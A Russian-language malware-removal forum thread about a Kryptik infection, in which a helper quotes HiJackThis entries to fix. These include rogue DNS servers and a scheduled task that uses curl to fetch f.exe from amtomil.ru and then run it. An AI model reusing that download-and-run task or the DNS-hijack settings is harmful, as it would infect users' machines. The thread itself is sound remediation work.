Обнаружен Kryptik.FYBK не качает с облака mail.ru

[allexdmb]

Здравствуйте. Нод32 периодически стал ругаться на наличие Win32/Kryptik.FYBK. Сегодня заметил что при попытке скачать что-либо с облака майл.ру качается оригинальное название архива (jjrc_h с дописанным (bc-aea). В итоге качается файл jjrc_h8-bc-aea.zip размером 1,5 мб.

Скриншот свойств (оригинальное название архива должно было быть jjrc_h8.zip)
2017-10-23_23-33-42.png

Так уже два дня не могу скачать ни одного файла с облака. отчет AutoLogger прикрепляю

[Info_bot]

Уважаемый(ая) allexdmb, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[thyrex]

Пофиксите в HiJackThis из папки Autologger

O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 178.132.6.57
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 192.168.0.1
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 193.238.153.54
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 46.101.28.31
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 52.56.51.39
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 192.168.0.1
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 82.202.226.203
O21 - ShellIconOverlayIdentifiers:     OneDrive1 - {BBACC218-34EA-4666-9D7A-C78F2274A524} - (no file)
O21 - ShellIconOverlayIdentifiers:     OneDrive2 - {5AB7172C-9C11-405C-8DD5-AF20F3606282} - (no file)
O21 - ShellIconOverlayIdentifiers:     OneDrive3 - {A78ED123-AB77-406B-9962-2A5D9D2F7F30} - (no file)
O21 - ShellIconOverlayIdentifiers:     OneDrive4 - {F241C880-6982-4CE5-8CF7-7085BA96DA5A} - (no file)
O21 - ShellIconOverlayIdentifiers:     OneDrive5 - {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} - (no file)
O21 - ShellIconOverlayIdentifiers:     OneDrive6 - {9AA2F32D-362A-42D9-9328-24A483E2CCC3} - (no file)
O22 - Task (Ready): DuckGo Task - C:\Users\александр\AppData\Local\DuckGo\duckgo.exe (file missing)
O22 - Task (Ready): GoogleUpdateTaskMachineCore - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /c (file missing)
O22 - Task (Ready): GoogleUpdateTaskMachineUA - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /ua /installsource scheduler (file missing)
O22 - Task (Ready): curl - C:\Users\8B1D~1\AppData\Roaming\curl\curl_7_54.exe -f -L http://amtomil.ru/f.exe -o C:\Users\8B1D~1\AppData\Roaming\curl\curl.exe (file missing)
O22 - Task (Ready): curls - C:\Users\8B1D~1\AppData\Roaming\curl\curl.exe (file missing)

Пожалуйста, ЕЩЕ РАЗ запустите Autologger, прикрепите к следующему сообщению НОВЫЕ логи.

[allexdmb]

Прилагаю запрошенный лог

[Vvvyg]

Проблема решена?